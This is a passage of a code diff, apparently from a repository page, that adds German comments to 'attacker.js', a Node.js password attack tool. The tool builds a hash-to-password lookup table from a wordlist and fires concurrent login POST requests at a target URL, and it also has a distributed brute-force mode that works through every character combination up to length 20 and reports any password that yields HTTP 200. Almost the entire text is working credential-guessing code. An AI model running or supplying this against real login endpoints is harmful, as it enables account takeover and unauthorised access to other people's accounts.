const RAINBOW_TABLE_PATH = path.resolve(__dirname, 'rainbow_table.json'); // Pfad zur Rainbow Table
|
||||||
|
// Globaler Flag, ob Passwort gefunden wurde
|
||||||
let found = false;
|
let found = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Implementiert eine einfache Concurrency-Limitierung für asynchrone Operationen.
|
||||||
|
* Verhindert, dass zu viele parallele Requests gleichzeitig ausgeführt werden.
|
||||||
|
*
|
||||||
|
* @param {number} concurrency - Maximale Anzahl gleichzeitiger Operationen
|
||||||
|
* @returns {Function} - Funktion zum Einreihen von Promises
|
||||||
|
*/
|
||||||
const pLimit = (concurrency) => {
|
const pLimit = (concurrency) => {
|
||||||
const queue = [];
|
const queue = []; // Warteschlange für ausstehende Tasks
|
||||||
let active = 0;
|
let active = 0; // Anzahl aktuell laufender Tasks
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Verarbeitet die nächste Task in der Warteschlange, falls möglich
|
||||||
|
*/
|
||||||
const next = () => {
|
const next = () => {
|
||||||
if (queue.length === 0) return;
|
if (queue.length === 0) return; // Keine Tasks vorhanden
|
||||||
if (active >= concurrency) return;
|
if (active >= concurrency) return; // Limit bereits erreicht
|
||||||
|
|
||||||
active++;
|
active++;
|
||||||
const {fn, resolve} = queue.shift();
|
const {fn, resolve} = queue.shift(); // Nimm nächste Task
|
||||||
|
|
||||||
|
// Führe Task aus und handle Completion
|
||||||
fn().then((r) => {
|
fn().then((r) => {
|
||||||
active--;
|
active--;
|
||||||
resolve(r);
|
resolve(r);
|
||||||
next();
|
next(); // Verarbeite nächste Task
|
||||||
}, (e) => {
|
}, (e) => {
|
||||||
active--;
|
active--;
|
||||||
resolve(Promise.reject(e));
|
resolve(Promise.reject(e));
|
||||||
next();
|
next(); // Verarbeite nächste Task auch bei Fehler
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Returniere Funktion zum Einreihen neuer Tasks
|
||||||
return (fn) => new Promise((resolve) => {
|
return (fn) => new Promise((resolve) => {
|
||||||
queue.push({fn, resolve});
|
queue.push({fn, resolve});
|
||||||
next();
|
next();
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generiert einen kryptographischen Hash für ein gegebenes Passwort.
|
||||||
|
*
|
||||||
|
* @param {string} password - Das zu hashende Passwort
|
||||||
|
* @param {string} algorithm - Hash-Algorithmus (Standard: 'sha256')
|
||||||
|
* @returns {string} - Hexadezimale Darstellung des Hashes
|
||||||
|
*/
|
||||||
function generateHash(password, algorithm = 'sha256') {
|
function generateHash(password, algorithm = 'sha256') {
|
||||||
return crypto.createHash(algorithm).update(password).digest('hex');
|
return crypto.createHash(algorithm).update(password).digest('hex');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Erstellt eine Rainbow Table aus einer Wortliste.
|
||||||
|
* Eine Rainbow Table mappt Passwort-Hashes zu den ursprünglichen Passwörtern.
|
||||||
|
*
|
||||||
|
* Vorteile:
|
||||||
|
* - Schnelle Passwort-Lookup durch Hash
|
||||||
|
* - Einmalige Berechnung, mehrfache Verwendung
|
||||||
|
* - Effizient für wiederholte Angriffe
|
||||||
|
*
|
||||||
|
* @param {string[]} wordlist - Array von Passwörtern
|
||||||
|
* @param {string} outputPath - Dateipfad zum Speichern der Rainbow Table
|
||||||
|
* @param {string} algorithm - Hash-Algorithmus (Standard: 'sha256')
|
||||||
|
* @returns {Object} - Rainbow Table als Objekt {hash: password}
|
||||||
|
*/
|
||||||
function buildRainbowTable(wordlist, outputPath, algorithm = 'sha256') {
|
function buildRainbowTable(wordlist, outputPath, algorithm = 'sha256') {
|
||||||
console.log(`Erstelle Rainbow Table mit ${algorithm}...`);
|
console.log(`Erstelle Rainbow Table mit ${algorithm}...`);
|
||||||
const table = {};
|
|
||||||
|
const table = {}; // Hash -> Passwort Mapping
|
||||||
let count = 0;
|
let count = 0;
|
||||||
|
|
||||||
|
// Iteriere über alle Passwörter und berechne Hashes
|
||||||
for (const password of wordlist) {
|
for (const password of wordlist) {
|
||||||
const hash = generateHash(password, algorithm);
|
const hash = generateHash(password, algorithm);
|
||||||
table[hash] = password;
|
table[hash] = password; // Speichere Hash -> Passwort Zuordnung
|
||||||
count++;
|
count++;
|
||||||
|
|
||||||
|
// Fortschrittsanzeige alle 1000 Einträge
|
||||||
if (count % 1000 === 0) {
|
if (count % 1000 === 0) {
|
||||||
process.stdout.write(`\rGeneriert: ${count} Einträge`);
|
process.stdout.write(`\rGeneriert: ${count} Einträge`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
console.log(`\n✓ Rainbow Table erstellt: ${count} Einträge`);
|
console.log(`\n✓ Rainbow Table erstellt: ${count} Einträge`);
|
||||||
|
|
||||||
|
// Speichere Rainbow Table als JSON-Datei
|
||||||
fs.writeFileSync(outputPath, JSON.stringify(table, null, 2));
|
fs.writeFileSync(outputPath, JSON.stringify(table, null, 2));
|
||||||
console.log(`✓ Gespeichert: ${outputPath}`);
|
console.log(`✓ Gespeichert: ${outputPath}`);
|
||||||
|
|
||||||
return table;
|
return table;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Lädt eine bestehende Rainbow Table aus einer Datei.
|
||||||
|
*
|
||||||
|
* @param {string} filePath - Pfad zur Rainbow Table Datei
|
||||||
|
* @returns {Object|null} - Rainbow Table Objekt oder null, falls nicht gefunden
|
||||||
|
*/
|
||||||
function loadRainbowTable(filePath) {
|
function loadRainbowTable(filePath) {
|
||||||
if (fs.existsSync(filePath)) {
|
if (fs.existsSync(filePath)) {
|
||||||
console.log(`Lade Rainbow Table von ${filePath}...`);
|
console.log(`Lade Rainbow Table von ${filePath}...`);
|
||||||
|
|
||||||
|
// Lese und parse JSON-Datei
|
||||||
const data = fs.readFileSync(filePath, 'utf8');
|
const data = fs.readFileSync(filePath, 'utf8');
|
||||||
const table = JSON.parse(data);
|
const table = JSON.parse(data);
|
||||||
|
|
||||||
console.log(`✓ Rainbow Table geladen: ${Object.keys(table).length} Einträge`);
|
console.log(`✓ Rainbow Table geladen: ${Object.keys(table).length} Einträge`);
|
||||||
return table;
|
return table;
|
||||||
}
|
}
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Führt einen Rainbow Table Angriff durch.
|
||||||
|
* Testet alle in der Rainbow Table gespeicherten Passwörter gegen den Login-Endpoint.
|
||||||
|
*
|
||||||
|
* @param {string} username - Ziel-Benutzername
|
||||||
|
* @param {Object} rainbowTable - Rainbow Table {hash: password}
|
||||||
|
*/
|
||||||
async function tryWithRainbowTable(username, rainbowTable) {
|
async function tryWithRainbowTable(username, rainbowTable) {
|
||||||
console.log('\n=== RAINBOW TABLE ANGRIFF ===');
|
console.log('\n=== RAINBOW TABLE ANGRIFF ===');
|
||||||
|
|
||||||
|
// Extrahiere alle Passwörter aus der Rainbow Table
|
||||||
const passwords = Object.values(rainbowTable);
|
const passwords = Object.values(rainbowTable);
|
||||||
console.log(`Teste ${passwords.length} Passwörter aus Rainbow Table...`);
|
console.log(`Teste ${passwords.length} Passwörter aus Rainbow Table...`);
|
||||||
|
|
||||||
|
// Initialisiere Concurrency Limiter für parallele Requests
|
||||||
const limit = pLimit(10);
|
const limit = pLimit(10);
|
||||||
let tested = 0;
|
let tested = 0;
|
||||||
|
|
||||||
|
// Teste jedes Passwort aus der Rainbow Table
|
||||||
for (const password of passwords) {
|
for (const password of passwords) {
|
||||||
if (found) break;
|
if (found) break; // Abbruch bei Erfolg
|
||||||
|
|
||||||
await limit(() => tryCandidate(password, username));
|
await limit(() => tryCandidate(password, username));
|
||||||
tested++;
|
tested++;
|
||||||
|
|
||||||
|
// Fortschrittsanzeige alle 100 Versuche
|
||||||
if (tested % 100 === 0) {
|
if (tested % 100 === 0) {
|
||||||
process.stdout.write(`\rGetestet: ${tested}/${passwords.length}`);
|
process.stdout.write(`\rGetestet: ${tested}/${passwords.length}`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
console.log(`\nRainbow Table Angriff abgeschlossen: ${tested} Passwörter getestet`);
|
console.log(`\nRainbow Table Angriff abgeschlossen: ${tested} Passwörter getestet`);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extrahiert Instanz-Konfiguration für verteilte Brute-Force Angriffe.
|
||||||
|
* Ermöglicht Parallelisierung über mehrere Prozesse/Maschinen.
|
||||||
|
*
|
||||||
|
* @returns {Object} - {instanceId, totalInstances}
|
||||||
|
*/
|
||||||
function getInstanceConfig() {
|
function getInstanceConfig() {
|
||||||
|
// Lese aus Umgebungsvariablen oder Kommandozeilenargumenten
|
||||||
const instanceId = parseInt(process.env.INSTANCE_ID || process.argv[4] || '0');
|
const instanceId = parseInt(process.env.INSTANCE_ID || process.argv[4] || '0');
|
||||||
const totalInstances = parseInt(process.env.TOTAL_INSTANCES || process.argv[5] || '1');
|
const totalInstances = parseInt(process.env.TOTAL_INSTANCES || process.argv[5] || '1');
|
||||||
|
|
||||||
return {instanceId, totalInstances};
|
return {instanceId, totalInstances};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generator-Funktion für verteilte Brute-Force-Passwort-Generierung.
|
||||||
|
* Unterstützt Work-Splitting über mehrere Instanzen.
|
||||||
|
*
|
||||||
|
* Algorithmus:
|
||||||
|
* - Jede Instanz bearbeitet jeden n-ten Kandidaten (wobei n = totalInstances)
|
||||||
|
* - Instance 0 testet: 0, n, 2n, 3n, ...
|
||||||
|
* - Instance 1 testet: 1, n+1, 2n+1, 3n+1, ...
|
||||||
|
*
|
||||||
|
* @param {string[]} charset - Array mit verfügbaren Zeichen
|
||||||
|
* @param {number} maxLen - Maximale Passwortlänge
|
||||||
|
* @param {number} startIdx - Start-Index für diese Instanz
|
||||||
|
* @param {number} skipCount - Anzahl Instanzen (Skip-Intervall)
|
||||||
|
* @yields {string} - Nächster Passwort-Kandidat für diese Instanz
|
||||||
|
*/
|
||||||
function* generateBruteForce(charset, maxLen, startIdx = 0, skipCount = 1) {
|
function* generateBruteForce(charset, maxLen, startIdx = 0, skipCount = 1) {
|
||||||
let currentIdx = 0;
|
let currentIdx = 0; // Globaler Zähler über alle Kombinationen
|
||||||
|
|
||||||
|
// Iteriere über alle Passwortlängen
|
||||||
for (let len = 1; len <= maxLen; len++) {
|
for (let len = 1; len <= maxLen; len++) {
|
||||||
const indices = Array(len).fill(0);
|
const indices = Array(len).fill(0); // Index-Array für Zeichenpositionen
|
||||||
|
|
||||||
while (true) {
|
while (true) {
|
||||||
|
// Prüfe, ob dieser Kandidat zu dieser Instanz gehört
|
||||||
if (currentIdx >= startIdx && (currentIdx - startIdx) % skipCount === 0) {
|
if (currentIdx >= startIdx && (currentIdx - startIdx) % skipCount === 0) {
|
||||||
yield indices.map(i => charset[i]).join('');
|
yield indices.map(i => charset[i]).join('');
|
||||||
}
|
}
|
||||||
|
|
||||||
currentIdx++;
|
currentIdx++;
|
||||||
|
|
||||||
|
// Inkrementiere Indices (funktioniert wie ein Zählwerk)
|
||||||
let pos = len - 1;
|
let pos = len - 1;
|
||||||
while (pos >= 0) {
|
while (pos >= 0) {
|
||||||
indices[pos]++;
|
indices[pos]++;
|
||||||
if (indices[pos] < charset.length) break;
|
if (indices[pos] < charset.length) break; // Kein Überlauf
|
||||||
indices[pos] = 0;
|
indices[pos] = 0; // Überlauf: Reset und carry
|
||||||
pos--;
|
pos--;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Wenn alle Positionen übergelaufen sind, fertig mit dieser Länge
|
||||||
if (pos < 0) break;
|
if (pos < 0) break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Führt einen verteilten Brute-Force Angriff durch.
|
||||||
|
* Kann über mehrere Instanzen parallelisiert werden.
|
||||||
|
*
|
||||||
|
* @param {string} username - Ziel-Benutzername
|
||||||
|
* @param {string[]} charset - Array mit verfügbaren Zeichen
|
||||||
|
* @param {number} maxLen - Maximale Passwortlänge
|
||||||
|
* @param {number} instanceId - ID dieser Instanz (0-basiert)
|
||||||
|
* @param {number} totalInstances - Gesamtanzahl paralleler Instanzen
|
||||||
|
*/
|
||||||
async function bruteForceAttack(username, charset, maxLen, instanceId, totalInstances) {
|
async function bruteForceAttack(username, charset, maxLen, instanceId, totalInstances) {
|
||||||
console.log('\n=== BRUTE FORCE ANGRIFF ===');
|
console.log('\n=== BRUTE FORCE ANGRIFF ===');
|
||||||
console.log(`Charset: ${charset.join('')}`);
|
console.log(`Charset: ${charset.join('')}`);
|
||||||
console.log(`Max Länge: ${maxLen}`);
|
console.log(`Max Länge: ${maxLen}`);
|
||||||
console.log(`Instance: ${instanceId + 1}/${totalInstances}`);
|
console.log(`Instance: ${instanceId + 1}/${totalInstances}`);
|
||||||
|
|
||||||
|
// Erstelle Generator für diese Instanz
|
||||||
const generator = generateBruteForce(charset, maxLen, instanceId, totalInstances);
|
const generator = generateBruteForce(charset, maxLen, instanceId, totalInstances);
|
||||||
|
|
||||||
|
// Initialisiere Concurrency Limiter
|
||||||
const limit = pLimit(10);
|
const limit = pLimit(10);
|
||||||
let tested = 0;
|
let tested = 0;
|
||||||
|
|
||||||
|
// Teste alle von dieser Instanz zugewiesenen Kandidaten
|
||||||
for (const candidate of generator) {
|
for (const candidate of generator) {
|
||||||
if (found) break;
|
if (found) break; // Abbruch bei Erfolg
|
||||||
|
|
||||||
await limit(() => tryCandidate(candidate, username));
|
await limit(() => tryCandidate(candidate, username));
|
||||||
tested++;
|
tested++;
|
||||||
|
|
||||||
|
// Fortschrittsanzeige alle 1000 Versuche
|
||||||
if (tested % 1000 === 0) {
|
if (tested % 1000 === 0) {
|
||||||
process.stdout.write(`\rBrute-Force Versuche: ${tested}`);
|
process.stdout.write(`\rBrute-Force Versuche: ${tested}`);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Zeige aktuellen Kandidaten
|
||||||
process.stdout.write(`\rTrying candidate: ${candidate}`);
|
process.stdout.write(`\rTrying candidate: ${candidate}`);
|
||||||
}
|
}
|
||||||
|
|
||||||
console.log(`\nBrute Force abgeschlossen: ${tested} Kombinationen getestet`);
|
console.log(`\nBrute Force abgeschlossen: ${tested} Kombinationen getestet`);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Testet einen einzelnen Passwort-Kandidaten gegen den Login-Endpoint.
|
||||||
|
*
|
||||||
|
* @param {string} candidate - Zu testendes Passwort
|
||||||
|
* @param {string} username - Benutzername
|
||||||
|
* @returns {Promise<boolean>} - true wenn erfolgreich, sonst false
|
||||||
|
*/
|
||||||
async function tryCandidate(candidate, username) {
|
async function tryCandidate(candidate, username) {
|
||||||
if (found) return false;
|
if (found) return false; // Abbruch, falls bereits gefunden
|
||||||
|
|
||||||
const body = {username: username, password: candidate};
|
const body = {username: username, password: candidate};
|
||||||
|
|
||||||
try {
|
try {
|
||||||
|
// Sende Login-Request
|
||||||
const resp = await fetch(TARGET_URL, {
|
const resp = await fetch(TARGET_URL, {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
headers: {'Content-Type': 'application/json'},
|
headers: {'Content-Type': 'application/json'},
|
||||||
body: JSON.stringify(body)
|
body: JSON.stringify(body)
|
||||||
});
|
});
|
||||||
|
|
||||||
if (resp.status === 200) {
|
if (resp.status === 200) {
|
||||||
|
// Erfolgreicher Login - Passwort gefunden!
|
||||||
console.log(`\n✓✓✓ PASSWORT GEFUNDEN für ${username}: ${candidate}`);
|
console.log(`\n✓✓✓ PASSWORT GEFUNDEN für ${username}: ${candidate}`);
|
||||||
found = true;
|
found = true;
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
return false;
|
return false;
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
console.error(`\nNetzwerkfehler: ${err.message}`);
|
console.error(`\nNetzwerkfehler: ${err.message}`);
|
||||||
@@ -149,8 +290,15 @@ async function tryCandidate(candidate, username) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// HAUPTPROGRAMM - Kommandozeilen-Interface
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
// Extrahiere Kommandozeilenargumente
|
||||||
const USERNAME = process.argv[2];
|
const USERNAME = process.argv[2];
|
||||||
const MODE = process.argv[3] || 'rainbow';
|
const MODE = process.argv[3] || 'rainbow';
|
||||||
|
|
||||||
|
// Zeige Hilfe, falls keine Argumente übergeben wurden
|
||||||
if (!USERNAME) {
|
if (!USERNAME) {
|
||||||
console.error('Usage: node attacker.js <username> <mode> [instanceId] [totalInstances]');
|
console.error('Usage: node attacker.js <username> <mode> [instanceId] [totalInstances]');
|
||||||
console.error('');
|
console.error('');
|
||||||
@@ -166,49 +314,82 @@ if (!USERNAME) {
|
|||||||
process.exit(1);
|
process.exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Hauptausführungsfunktion - Koordiniert die verschiedenen Angriffsmodi
|
||||||
|
*/
|
||||||
(async () => {
|
(async () => {
|
||||||
console.log(`\n=== PASSWORD ATTACK TOOL ===`);
|
console.log(`\n=== PASSWORD ATTACK TOOL ===`);
|
||||||
console.log(`Target: ${TARGET_URL}`);
|
console.log(`Target: ${TARGET_URL}`);
|
||||||
console.log(`Username: ${USERNAME}`);
|
console.log(`Username: ${USERNAME}`);
|
||||||
console.log(`Mode: ${MODE}`);
|
console.log(`Mode: ${MODE}`);
|
||||||
|
|
||||||
|
// Lade Instanz-Konfiguration für verteilte Angriffe
|
||||||
const {instanceId, totalInstances} = getInstanceConfig();
|
const {instanceId, totalInstances} = getInstanceConfig();
|
||||||
|
|
||||||
|
// MODE: CREATE - Erstelle neue Rainbow Table
|
||||||
if (MODE === 'create') {
|
if (MODE === 'create') {
|
||||||
console.log('\n=== RAINBOW TABLE ERSTELLEN ===');
|
console.log('\n=== RAINBOW TABLE ERSTELLEN ===');
|
||||||
|
|
||||||
const wordlistPath = path.resolve(__dirname, 'wordlist.txt');
|
const wordlistPath = path.resolve(__dirname, 'wordlist.txt');
|
||||||
|
|
||||||
|
// Prüfe, ob Wortliste existiert
|
||||||
if (!fs.existsSync(wordlistPath)) {
|
if (!fs.existsSync(wordlistPath)) {
|
||||||
console.error(`Fehler: ${wordlistPath} nicht gefunden!`);
|
console.error(`Fehler: ${wordlistPath} nicht gefunden!`);
|
||||||
console.error('Erstelle eine wordlist.txt Datei mit Passwörtern (ein Passwort pro Zeile)');
|
console.error('Erstelle eine wordlist.txt Datei mit Passwörtern (ein Passwort pro Zeile)');
|
||||||
process.exit(1);
|
process.exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Lade Wortliste aus Datei
|
||||||
const wordlist = fs.readFileSync(wordlistPath, 'utf8')
|
const wordlist = fs.readFileSync(wordlistPath, 'utf8')
|
||||||
.split(/\r?\n/)
|
.split(/\r?\n/) // Zeilen aufteilen
|
||||||
.map(line => line.trim())
|
.map(line => line.trim()) // Whitespace entfernen
|
||||||
.filter(Boolean);
|
.filter(Boolean); // Leere Zeilen entfernen
|
||||||
|
|
||||||
console.log(`Wordlist geladen: ${wordlist.length} Einträge`);
|
console.log(`Wordlist geladen: ${wordlist.length} Einträge`);
|
||||||
|
|
||||||
|
// Erstelle und speichere Rainbow Table
|
||||||
buildRainbowTable(wordlist, RAINBOW_TABLE_PATH);
|
buildRainbowTable(wordlist, RAINBOW_TABLE_PATH);
|
||||||
process.exit(0);
|
process.exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// MODE: RAINBOW - Rainbow Table Angriff
|
||||||
if (MODE === 'rainbow') {
|
if (MODE === 'rainbow') {
|
||||||
let rainbowTable = loadRainbowTable(RAINBOW_TABLE_PATH);
|
let rainbowTable = loadRainbowTable(RAINBOW_TABLE_PATH);
|
||||||
|
|
||||||
|
// Prüfe, ob Rainbow Table existiert
|
||||||
if (!rainbowTable) {
|
if (!rainbowTable) {
|
||||||
console.error('\nKeine Rainbow Table gefunden!');
|
console.error('\nKeine Rainbow Table gefunden!');
|
||||||
console.error('Erstelle zuerst eine Rainbow Table mit: node attacker.js <user> create');
|
console.error('Erstelle zuerst eine Rainbow Table mit: node attacker.js <user> create');
|
||||||
process.exit(1);
|
process.exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Führe Rainbow Table Angriff durch
|
||||||
await tryWithRainbowTable(USERNAME, rainbowTable);
|
await tryWithRainbowTable(USERNAME, rainbowTable);
|
||||||
} else if (MODE === 'bruteforce') {
|
}
|
||||||
|
// MODE: BRUTEFORCE - Verteilter Brute-Force Angriff
|
||||||
|
else if (MODE === 'bruteforce') {
|
||||||
console.log(`Instance: ${instanceId + 1}/${totalInstances}`);
|
console.log(`Instance: ${instanceId + 1}/${totalInstances}`);
|
||||||
|
|
||||||
|
// Definiere Zeichensatz für Brute-Force
|
||||||
const charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-=[]{}|;:,.<>?'.split('');
|
const charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-=[]{}|;:,.<>?'.split('');
|
||||||
const maxLen = 20;
|
const maxLen = 20; // Maximale Passwortlänge
|
||||||
|
|
||||||
|
// Führe Brute-Force Angriff durch
|
||||||
await bruteForceAttack(USERNAME, charset, maxLen, instanceId, totalInstances);
|
await bruteForceAttack(USERNAME, charset, maxLen, instanceId, totalInstances);
|
||||||
} else {
|
}
|
||||||
|
// Unbekannter Modus
|
||||||
|
else {
|
||||||
console.error(`Unbekannter Mode: ${MODE}`);
|
console.error(`Unbekannter Mode: ${MODE}`);
|
||||||
console.error('Verwende: rainbow, bruteforce, oder create');
|
console.error('Verwende: rainbow, bruteforce, oder create');
|
||||||
process.exit(1);
|
process.exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Abschlussmeldung
|
||||||
console.log('\n=== FERTIG ===');
|
console.log('\n=== FERTIG ===');
|
||||||
if (!found) {
|
if (!found) {
|
||||||
console.log('Passwort nicht gefunden.');
|
console.log('Passwort nicht gefunden.');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Exit Code: 0 = Erfolg, 1 = Kein Passwort gefunden
|
||||||
process.exit(found ? 0 : 1);
|
process.exit(found ? 0 : 1);
|
||||||
})();
|
})();
|
||||||
Reference in New Issue
Block a user